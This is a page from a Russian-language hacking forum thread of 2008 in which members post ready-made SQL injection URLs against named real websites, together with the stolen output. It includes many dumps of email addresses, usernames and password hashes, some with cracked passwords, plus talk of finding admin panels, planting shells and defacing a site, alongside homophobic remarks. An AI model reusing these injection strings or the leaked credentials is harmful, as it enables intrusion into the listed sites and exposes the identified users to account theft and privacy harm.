SQL-инъекции

Тема в разделе "Поиск уязвимостей", создана пользователем Constantine, 8 май 2007.

Страница 9 из 20
  1. xeran
    xeran Guest
    Код:
    http://www.cmts.net.au/detail.php?prodid=-80+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
http://www.allnaturalwater.com/detail.php?prodid=-63+union+select+1,2,3,version(),5,6,7,8,9,10,11,12--
http://www.ishinha.com/goods/detail.php?prodid=-275+union+select+1,2,version(),4,5,6,7--
     
    21 окт 2008
    1 человеку нравится это.
  2. xeran
    xeran Guest
    Полностью раскрученные шопы ))

    UnHidden Content:

    *ttp://taminc.org/cms/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-4+union+select+1,concat_ws(0x3a,user_email,user_loginname,user_password),3,4,5,6+from+e107_user+limit+27,1--


    Код:
    Thre57Mag@aol.com:Getz:9e1c70cac261884fe8ee49b627fe0a69 whitecat
tmiller@taminc.org:tmiller:67681e2ac578ccd9268c159c9cbfa45e
rene@taminc.org:rene:9b18b591bbda7599248f10076d429f29
rinaca_robert@bah.com:EtbHarv2:1bb9f5cc12f7abdd451ad48a9292dcbd
ccombs@thebusplace.com:Craig Combs:8e65f6a81730a7b15c84c8241f54514e
james.carlson@montgomerycountymd.gov:Jim Carlson:1ea404bf5d8c34ef3726059bf39f5338
rhammonds@taminc.org:ReneH:34bfee3155beabd4ac38b4d70eb832fc
dharper@loyola.edu:dcrawford:51d4906a3c21c044e7e4ba45cda56aae
 nnorris@fredco-md.net:Nancy Norris:6158bf933a586d08000c79a6dde3fe19
sreston@coachandequipment.com:sreston:4de754248c196c85ee4fbdcee89179bd
 wobblesv@co.cal.md.us:wobblesv:74f8e4940770d3c16755b767e579fba1
 nelson.cross@coachamerica.com:ncross:44ac6a7eb20008dd64b2dae9ce77d59d
 jhill@garrettcac.org:zookeeper:57b1bd2bafca5a7ce9793b4b1f83b7b7
kcerrone@washco-md.net:kcerrone:d3fbf639a441591f5bec2fe5aadfa2b6
gloria56@comcast.net:ASKMI:e4d6b3f9b1d687d7ecd27ae3983bf20b
» jim@american-bus.com:jim@american-bus.com:4652b19e09ced75df510bf5a263a2bfe
 jacque_fournier@co.saint-marys.md.us:JFSTS:517f967f06733a9e9b1b37f888b195a7
 sscott@qac.org:sscott:6e59a103b0148e7784eee166d75ed43c
 brian.frank@trapezegroup.com:Brian:0bfa3f1d5d770abb591e83692f449599
 tharrison@just4utransit.com:JUST4U:85f58fccb22afbefea1bc6908a15d4aa
mcopper@mtamaryland.com:mcopper:74832ef457d297b56ef1563c339c314a
pamneilson7@msn.com:Pam Neilson:37b4e2d82900d5e94b8da524fbeb33c0
conniecoolchick@yahoo.com:Mobileconnie:e5784da663a29b6f47d486977faba784
bhamby@kfhgroup.com:bethhamby:70afe83f80e71bd01855ee00a18cfe0a
NAPSK@aol.com:Joe1Regier2:a8a643ce8b9a56757bf2e63139b59dd0
 jbullinger@arcofbaltimore.org:jerryterp:510f0c93d42644182815e1817d688dbd
jerome@dcsdct.org:cowboys:0bfaeea2bc3eac845e4325e795c34854
    *ttp://zero-gaming.org/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-1+union+select+1,concat_ws(0x3a,user_loginname,user_password,user_email),3,4,5,6+from+e107_user--

    Код:
    Invius:f64c77206682ec4014391cb9387a30e2:bzImage@ayanami.org
Haze:c57e9d6ef09bc1a955549e566616add8:hazex3@gmail.com
Dizon:93ab957b29bbd2564f1850110f29120d:bboydizon@hotmail.com obvious + bboydisone@yahoo.com
Zero:40d57ba713628f3f1ef5ef204b6d76d2:Stc_Masterious@hotmail.com Ragnarok
rchang21:6f543e2a5bd7ce63b56f8a5d02ad3a81:d3xt3r0u5_popper@hotmail.com
pasionjoke:f596c71993c120b24ed058672bcd0e91:wew@yahoo.com
    *ttp://www.flyingdoctor.co.nz/e107_plugins/easyshop/easyshop.php?item_details=1&item_id=1&category_id=1+union+select+1,concat_ws(0x3a,user_loginname,user_password,user_email),3,4,5,6+from+e107_user--

    Код:
    sp.flyingdoctor:b3551ecd80ab0cdf14eda645cd634b90:info@spinningplanet.co.nz
Hilary:7d7b16c803fd10461c44f8b7db3826fd:hilaryc@paradise.net.nz
john.pam:bdfeb593efc0a9659adfbe52995900e8:john.pam@xtra.co.nz
nolan.farm@xtra.co.nz:1610838743cc90e3e4fdda748282d9b8:nolan.farm@xtra.co.nz
Leon Gibbs:ef6e65efc188e7dffd7335b646a85a21:leongibbsnz@gmail.com
Madrick:34232531da5d416ede6adea841383b7a:madrick@xtra.co.nz
lesmck:5c5babf262b4b8d3ca9dd831dee5955f:les.jude@paradise.net.nz
da-aviator:cc9e9fdb2e9a4df73eaa14fef2b54fa7:jacob.johnson@inbox.com
melanie:f79b86aa06f2237eb252b1298e3f93bd:meljayne@xtra.co.nz
Mark Barry:1edd8cfe86580939f423ad65955bea6e:mdbarry@ihug.co.nz
greenie:dcfe1de3c0896a977729800779349cbc:kevin.green@xtra.co.nz
millsz24:5a45f0a0358765883817368d0d4c9e08:millsz24@hotmail.com sikorsky
rpcooper:9dc13025540c45387858e5487da740b2:paulanne@xtra.co.nz
dr.dave:6a3ae5bec02eddf56322b02107fcea3c:dr.dave@flyingdoctor.co.nz
flyingdoctor:b3551ecd80ab0cdf14eda645cd634b90:admin@flyingdoctor.co.nz

    *ttp://ksigear.com/e107_plugins/easyshop/easyshop.php?item_details=1&item_id=39&category_id=1+union+select+1,concat_ws(0x3a,user_loginname,user_password,user_email),3,4,5,6+from+e107_user--



    Код:
    admin:255448df65f510d806e008d9789b54bc:webmaster@ksigear.com
KSI RoboRickey:b50286b2e4bad78e35b925f578fd4355:darth_rickey@yahoo.com
KSI Msanders 7:894370a6a5a17942d2e3b17388a0756e:msanders@ksiglobal.com
KSIPELETON360:60d1a6a9c8de9719d0412411cd440f54:ksigear.com@hotmail.com
KSI Capstone 7:e99a18c428cb38d5f260853678922e03:capstone124@yahoo.com
emt4692:ec239fa8d419f6ee5868d0de020f03a7:emt4692@yahoo.com
superman1867:28d0272ae291809205d99b91dc4b59c5:ksineostomper@hotmail.com
consistentluck:70b76f4e1d3e92d1e89cfd7fe28c0dea:kplacek91@hotmail.com donkey1
slarby:568c31f0f2406ab70255a1d83291220f:slarby99@hotmail.com password21
KSI ZONEALARM 7:f4e427ce0d56003582e9a0df91cf9fb1:cembalisty33@aim.com
KSI Jaded Clown:d713a220c765dac1f9dc76f6d3da8866:justin_tyme69@msn.com
omnisomatic:2d5831578ea970d0cfa664ede08b5f3c:armoredlizard2001@yahoo.com
hubey99:3ba826f336debb01268c6cce772b2591:hubey99@hotmail.com hubert2
KJSI ADIDAS 7:ed10f5d53edfdf912dd3f74b4e7f055d:connectbkup@msn.com
KSI Darknight 7:75c6f03161d020201000414cd1501f9f:stephenrienzi612@hotmail.com diamond 
KSI Alykatt:95b3b353b819d2d5fd1d458ce5d5ba72:miss_alykatt@yahoo.com
KSI BLK DRGN 7:a94f27391c29570ff9a15b52dd6d9014:arthur_89@hotmail.com
shadowm00s3:79d09c4ea705d1fc71bf867efc099931:carazy_j@yahoo.com
rsupertrapstar:9b6d5fc8c76a4cf72f6541159c04465e:ksii4mth3b3a5t@live.com
KSI Maddrau:810efefaed53585820944acef9ed5ce8:maddrau@ymail.com
aeronomic:a5101e70e5a075abab1c08c7a6c39612:kdnwa1988@hotmail.com battle
Recurve:226ba3e19f030ae233144d452526572e:ksirecurve@comcast.net
lilp0607:5f6bc08c46cee6f21bfcdd08aff6e8aa:lilp0607@yahoo.com
KSI PALE PWNR:5e0ffe4cfc41796afe2a9f8a5c3c1b89:hockeybob627@comcast.net
KSI Dome:0bf1f0cf8244a123ec1eb8fdb5fda1b4:pianaface08@yahoo.com
KSI FROSTYANGEL:a2ecee2cac823f0e83c5aec0b2db72d3:forrest_gr11@hotmail.com manders6
KSI BRONX 7:1ea0fa45979bc5f0cec84d9b95e029bb:KSI_BRONX_7@hotmail.com
KSI Spider 7:5ea4784d77e1549afa2a975533c22e5b:cd9266@hotmail.com
KSI Precinct 7:e354ace6262af062e3b581e5540e8ea1:eli_474@yahoo.com
KSI Disc0:0905a74d4251fc1b2ec794738a81f324:d1sc0l3m0nade@yahoo.com
KSI Supernova 7:ab15d3d5a61c3722186dae6bf393b8f7:nvansaw1@yahoo.com
KSI Omega 7:0f5aaaf14d9a2d371853e46119abba27:ksiomega7@yahoo.com
KSI BlazedRzr 7:2cb7d943d2b0dcbcba6b1114810a94f0:michaelmarsy@yahoo.com
twiztid:d7bf6e56bc64e140fd0ffa88639b96f6:slipknot6625@yahoo.com
The Punisher:cd0b1b15b43504a97902900108150976:clayton.c.paul@gmail.com
devoid:d1902d9787b49721bfa3c98871e2e77d:mlgdevoid@live.com
KSI Kalem:a437cb5f3bac0c40b2135d3396eafc6a:ksik4l3m@hotmail.com
KSI CRACKMAN:eb9d6d6416f87b2a8f013353f85f7a63:bubbakermit00@yahoo.com
play2station:3853316ea3fce6632af4170daf4fb5cc:play2station@sky.com
Smithy:ecc3e8231932e6cc65396026fe74b1ec:jnasti2@hotmail.com
emu:276f8db0b86edaa7fc805516c852c889:shmeeha@yahoo.com
KSI HELLZ ANGEL:fbd9d56a6be7a7adf26759e4a7dda400:JonathanJReynolds@buckeye-express.com
    *ttp://www.moviezonly.com/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=3+union+select+1,concat_ws(0x3a,user_loginname,user_password,user_email),3,4,5,6+from+e107_user--

    Код:
    ruphus:b0b69aa3eee7104aed99f42ae8a57ea9:Ruphus@moviezonly.com
wired:a9c88770aa0a1afe83e90aa8423f8e19:wired@geek-irc.net
budd:3d801aa532c1cec3ee82d87a99fdf63f:budd@moviezonly.com
ShopGurl:75e933dfc15ad029b7d1acb53f325d4e:tabitha1@hotmail.com
BlackDemon^:eba11b190286c8e093538909f4dfc86b:crakka4u@yahoo.com
tester2007a:5f4dcc3b5aa765d61d8327deb882cf99:email@email.com
MeMbErS:8187ca3ff4c67f549c58d58e87f3a051:nofear2242@atlinkwifi.com
hugger:32d10fce41566a0f63bfac91a10d2f69:hugger1990@yahoo.com
wespOr:2715be86798e5481e5dcec6d738cad82:stefanwaespi_2@hotmail.com
sommy:9a7dc5b1084ea47cd7feab463e2181f5:sommy@bugmenot.com
Crespo[R9]:60bf1fa3148cc0a95c33377e7773cd13:crespor9@yahoo.com.br
kartdemon:3d2eb9901c04c05958d53719d79670c3:ori@moredots.co.uk
chaostic:365b3feab8863fad277f062599935b6a:isthoed@yahoo.com
avalon01:4e4797b41723699c9facfa6ebbfb0d46:tadekfa@wp.pl
561:98ea8d38a5bd073399e8981d968a9795:307.20627@wormsweatcent.cn
9138:b289f9e0db85b42749c13b5192540f51:310.7109@tubetailleft.cn
cRaXX:a62d59d9f7a0794eb9caa26b6c1ceb95:khurram_khalid@live.com
    *ttp://robbensftp.co.uk/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=5+union+select+1,concat_ws(0x3a,user_loginname,user_password,user_email),3,4,5,6+from+e107_user--

    Код:
    zaincmt:9caca7f2d136593e6f5a7e505dbe62b9:zaincmt@msn.com
Nuage:1449bad536b588ec140ea1eeedbf2f41:adwheeler218@hotmail.co.uk
Relysis:28b43be824549cbdaeb1896338c14c4b:el_diablo14@hotmail.co.uk
Tumyr:348330e8abf5871a066b9e60393d9979:trond.tumyr@online.no
jaydox:e432f8739cf312193372c7a29ad413b1:a.milton566@btinternet.com
cerenity:4a963f9a11a762e0106653b10e2b7a3b:bulldog_uk123@hotmail.co.uk
Trasker:4daeb0fde7f2cd19414241c4de4c3ac2:speedymj12@hotmail.com
Rocmar:8a255d31d5f4c652aa9410c297a89767:tingebert@hotmail.com
123billyb:065c4ab0e53d9a38ea60411e3d2c0518:gareth.bingham7@btinternet.com
ГЎim:27f950651656a1e2aaf1e2e0cc204343:geolink3@hotmail.co.uk
Zazeal:634e83bfa7e5484aea2fd25372267034:elmo.rape@hotmail.co.uk
lolx:56e0b8df8c3315f6bb9049552241df1e:bmxarn_@hotmail.com
saureus:00ddf286541cb343dc354b18a08ac730:daansnoeks@gmail.com
gingerlocks:9caca7f2d136593e6f5a7e505dbe62b9:zaincmt@gmail.com
Zharaden:237d4bb99c8b6aa50c5d480615705eea:l3lade@hotmail.com
jaystem:36b0e910233e631aa6e59eb236fa7678:jay_follett@hotmail.com
Teink:76ae8157abbe40483ca12c7a34e418d3:huntard69@hotmail.co.uk
Decimus:4474d2b349498e2e5488c6db5ff112d5:garryfenton500@hotmail.co.uk
GhostSerafina:e917aee34cc813b3179d5a44b93da06f:sarah.live2themax@googlemail.com
Windhunger:99e0599fdb273f65ec09baabe0023755:bacon348@hotmail.com
Elliotapp:29dcbf9faad5165574550187a8615c44:elliot.appleyard@hotmail.co.uk

     
    1 ноя 2008
  3. HornetBlack
    HornetBlack Новичок
    Симпатии:
    12
    Код:
    4.1.22
h_ttp://www.aronis.kiev.ua/index.php?pageid=0+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12/*
    Добавлено через 3 минуты
    Код:
    4.1.22
h_ttp://www.fastflowerstoukraine.com/a-price/group.php?groupid=0+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6/*
    Добавлено через 10 минут
    Код:
    4.1.11
h_ttp://www.gothic.phx.pl/gothic/articles.php?topic=0+union+select+1,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),user(),database()),7),7),3,4,5/*
     
    Последнее редактирование модератором: 8 ноя 2008
    8 ноя 2008
    2 пользователям это понравилось.
  4. faza02
    faza02 Guest
    Последнее редактирование модератором: 9 ноя 2008
    9 ноя 2008
  5. NetSky
    NetSky Guest
    Ну в принципе там больше ничего более и не извлечешь, сайт, так себе, буквально дом. страничка какой-то фирмы, максимум - маленькая админка, для редактирования кучки разделов... Т.к. 4-я база - админская табла может называться как угодно.

    //Ссылку лучше в тегах

    [CODE*][/CODE*]

    Ибо в квотах ссылка все равно активная...
     
    9 ноя 2008
  6. HornetBlack
    HornetBlack Новичок
    Симпатии:
    12
    4.0.27
    Код:
    http://www.masschiro.org/Articles.php?topic=0+union+select+1,concat_ws(0x3a,version(),user(),database()),3/*
    5.0.67
    Код:
    http://www.malomice.pl/articles.php?topic=0+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5+from+admins--
     
    9 ноя 2008
  7. NetSky
    NetSky Guest
    Последний инъект ниче так) Можно было сразу выложить норм:

    UnHidden Content:

    Код:
    http://www.malomice.pl/articles.php?topic=0+union+select+1,concat_ws(0x3a,id,nick,name,pass,mail),3,4,5+from+admins--
    7:root:webszok:02492536dcd06d87c292f7413f05bbef:bok@webszok.net
     
    9 ноя 2008
  8. HornetBlack
    HornetBlack Новичок
    Симпатии:
    12
    jPortal - моя давняя любовь... И даже вход в админку есть, но ее к сожалению подправили так, что шелл уже не удается вставить...
    Вот еще из той же оперы, но с файл-протектом
    Код:
    http://www.glospasleka.pl/articles.php?topic=0+union+select+1,concat_ws(0x3a,nick,pass),3,4,5+from+admins/*
    и
    Код:
    http://www.histxxwiek.easyisp.pl/articles.php?topic=0+union+select+1,concat_ws(0x3a,nick,pass),3,4,5+from+admins/*
     
    9 ноя 2008
  9. NetSky
    NetSky Guest
    В первой протупил ты немног, забыл префикс к табле добавить)

    UnHidden Content:

    Код:
    http://www.glospasleka.pl/articles.php?topic=1+and+0+union+select+1,concat_ws(0x3a,id,nick,name,pass,mail),3,4,5+from+jp_admins
    1:admin:Administrator:2ff7749f537e6bcdc4ce3780003b47f5:jpg1951@tlen.pl
     
    Последнее редактирование модератором: 9 ноя 2008
    9 ноя 2008
  10. HornetBlack
    HornetBlack Новичок
    Симпатии:
    12
    Не суть - там выбор небольшой)
    Вот еще одна скуля
    Код:
    http://www.ruralassociation.ge/eng/news.php?id=0+union+select+1,2,3,4,5,concat_ws(0x3a,name,passwd),7,8+from+user/*
    К ней бы еще админку...
     
    9 ноя 2008
  11. NetSky
    NetSky Guest
    Код:
    http://www.ruralassociation.ge/stats/
    Вот тут чтото есть под пассом...

    Код:
    http://www.ruralassociation.ge/admin/
    Такая директория есть, но сама по себе она не запаролена, просто доступ естесна ограничен, как к каталогу, чтобы обратиться нуно название странички, стандартные не подошли, типа "логин.пхп", "индекс.пхп", "админ.пхп"... тут мона скриптег за пару мин накатать и по списку файлов в этой директории пройтись...
     
    10 ноя 2008
  12. Хел
    Хел Guest
    не факт, причем очень большой не факт. зачастую делают проверку на ip, и уже потом смотрят пускать или нет.
     
    10 ноя 2008
  13. HornetBlack
    HornetBlack Новичок
    Симпатии:
    12
    4.1.22
    Код:
    http://www.fergusonhill.co.uk/product_details.php?id=0+union+select+.../*
    86 полей, вывод в 11-м

    4.1.22
    Код:
    http://www.east-finchley.com/news-detail.php?articleID=0+union+select+.../*
    87 полей, вывод в 12-м

    PS
    И не лень им было писать такие скули )
    PPS
    users есть, но пустая (
     
    Последнее редактирование: 10 ноя 2008
    10 ноя 2008
    1 человеку нравится это.
  14. xeran
    xeran Guest
    Пришлось по травмировать свою психику.
    По домену видно сайт какой тематики((
    Были бы права на запись злобно задефейсил))
    UnHidden Content:
    _http://www.gayondemand.at/pic.php?id=-16+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17--

    В бд нет ни чего интересного(
     
    14 ноя 2008
  15. NetSky
    NetSky Guest
    UnHidden Content:

    Ошибаешься, батенька) Нервы надо было жошче потрепать)) Откопал префиксы таблиц, откопал таблицы по колонке с паролем и мылом) Достал их базу клиентов, 27 человек (благо п*дароф на свете не так много... Там кажись даже картон имеется.) И несколько таблиц с юзерами нашел, в которых практически одни и те же 2-3 юзера... хэши расшифровываются, админки не нашел, но есть форма авторизации, надеюсь оттуда можно попасть в админку, после логина под админом... Инто+аутфайл - не катит, ибо мэджик_квотес - он, лоадфайл не кактит тож...

    Код:
    pot_user_agents
phpads_userlog
users - id,username,passwort
hp_users - id,username,passwort
bestellung
phpads_affiliates
phpads_clients - clientid,clientname,contact,views,clicks,email,clientusername,clientpassword,expire,activate,permissions,active,weight,target,parent,report,reportinterval,reportlastdate,reportdeactivate
hp_avscode
hp_film
hp_pics
hp_mitglieder
hp_reseller_newpw
hp_reseller - id,email,passw,vorname,nachname,firma,strasse,plz,ort,land,telefon
hp_sessionpw
    Клиенты:
    Код:
    http://www.gayondemand.at/pic.php?id=-16+union+select+1,2,3,concat_ws(0x3a,id,email,passw,vorname,nachname,firma,strasse,plz,ort,land,telefon),5,6,7,8,9,10,11,12%20,13,14,15,16,17+from+sk8erboy3.hp_reseller+limit+0,1--
    Основные юзеры (судя по всему, админ - первый):

    Код:
    1:kevin:663551360c3a88f5a49396c141145d01
2:chris:85f392c90341a219f25cab58b8a109ff:::630824
3:heiko:052d8c180d87844464152f834c62ee01
    Добавлено через 14 часов 49 минут
    UnHidden Content:
    К сожалению, на ночь глядя, вчера, я не до конца прошелся по этому сайту, кароче юзеров там поболее будет (531)... Бум двигаться дальше)
     
    Последнее редактирование модератором: 15 ноя 2008
    14 ноя 2008
  16. xeran
    xeran Guest
    Ну что на сладенькое)))
    UnHidden Content:

    хостнг с очень прикольными таблицами и колонками))
    _http://steephost.com/view.php?id=6+union+select+1,version()--
     
    Последнее редактирование модератором: 16 ноя 2008
    15 ноя 2008
    1 человеку нравится это.
  17. NetSky
    NetSky Guest
    Странно, где они хранят мемберов?оО
    Там одни таблы с контентом...
     
    15 ноя 2008
  18. b3
    b3 Guest
    Никогда не думали что на одном сайте каждый скрипт может работать от разных юзверей и с разными привами? К примеру когда я держал свой сервак онлайн игры ВОВ у меня на сайте было 4 пользователя БД, с минимальным набором привелегий.
     
    15 ноя 2008
  19. Ghostix
    Ghostix Guest
    При запросе:
    _http://***.com/article.php?sid=99999999999+union+select+1,2,3,4,5,6,7,9,10,11,12,13/*
    Появляются цифры 10, 5, 6, 11
    Запрос
    _http://***.com/article.php?sid=99999999999+union+select+1,2,3,4,5,6,7,9,10,TABLE_NAME,12,13+FROM+INFORMATION_SCHEMA.TABLES/*
    Выводит нормально, но при запросе.
    _http://***.com/article.php?sid=99999999999+union+select+1,2,3,4,5,6,7,9,10,pwd,12,13+FROM+users/*
    Все (цифры) исчезают и ошибка MySQL снова появляется. Так же и с подобными запросами.
    Также _http://***.com/article.php?sid=99999999999+union+select+1,2,3,4,5,6,7,9,10,COLUMN_NAME,12,13+FROM+INFORMATION_SCHEMA.COLUMNS/*
    -выводит
    _http://***.com/article.php?sid=99999999999+union+select+1,2,3,4,5,6,7,9,10,COLUMN_NAME,12,13+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'/*
    - не выводит

    Что делаю не так?
     
    Последнее редактирование модератором: 21 ноя 2008
    21 ноя 2008
  20. xeran
    xeran Guest
    Ghostix,
    Это тема только для готовых SQLinj.
    Для непохека, есть тема sql непохек !!!
    А по сабжу:
    1 откуда ты знаешь что существует таблица user ?
    Если посмотрел через тайбл нейм, то next
    2 запрос на колонки будет выглядеть так
    Код:
     _http://***.com/article.php?sid=99999999999+union+select+1,2,3,4,5,6,7,8,9,10,COLUMN_NAME,12,13+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273--
    хде 0x7573657273 hex таблицы users.
    Возможно таблица лежит не в той бд, которая сейчас используеться
    Посмотреть бд в которой лежит таблица
    Код:
    _http://***.com/article.php?sid=99999999999+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,table_schema,12,13+FROM+information_schema.tables+where+table_name=0x7573657273--
    хде 0x7573657273 hex таблицы users.

    Ну и пример: узнали что users лежит в бд sqlinj, и есть колонки pass и найм, то запрос будет выглядеть так
    Код:
    _http://***.com/article.php?sid=99999999999+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,name,pass),12,13+FROM+sqlinj.users--
    И все что я сказал есть на форуме в поиске))

    https://xaker.name/forvb/showthread.php?t=6684
    https://xaker.name/forvb/showthread.php?t=415
    https://xaker.name/forvb/showthread.php?t=4
    https://xaker.name/forvb/showthread.php?t=4675
    https://xaker.name/forvb/showthread.php?t=12495
     
    Последнее редактирование модератором: 21 ноя 2008
    21 ноя 2008
Страница 9 из 20
Загрузка...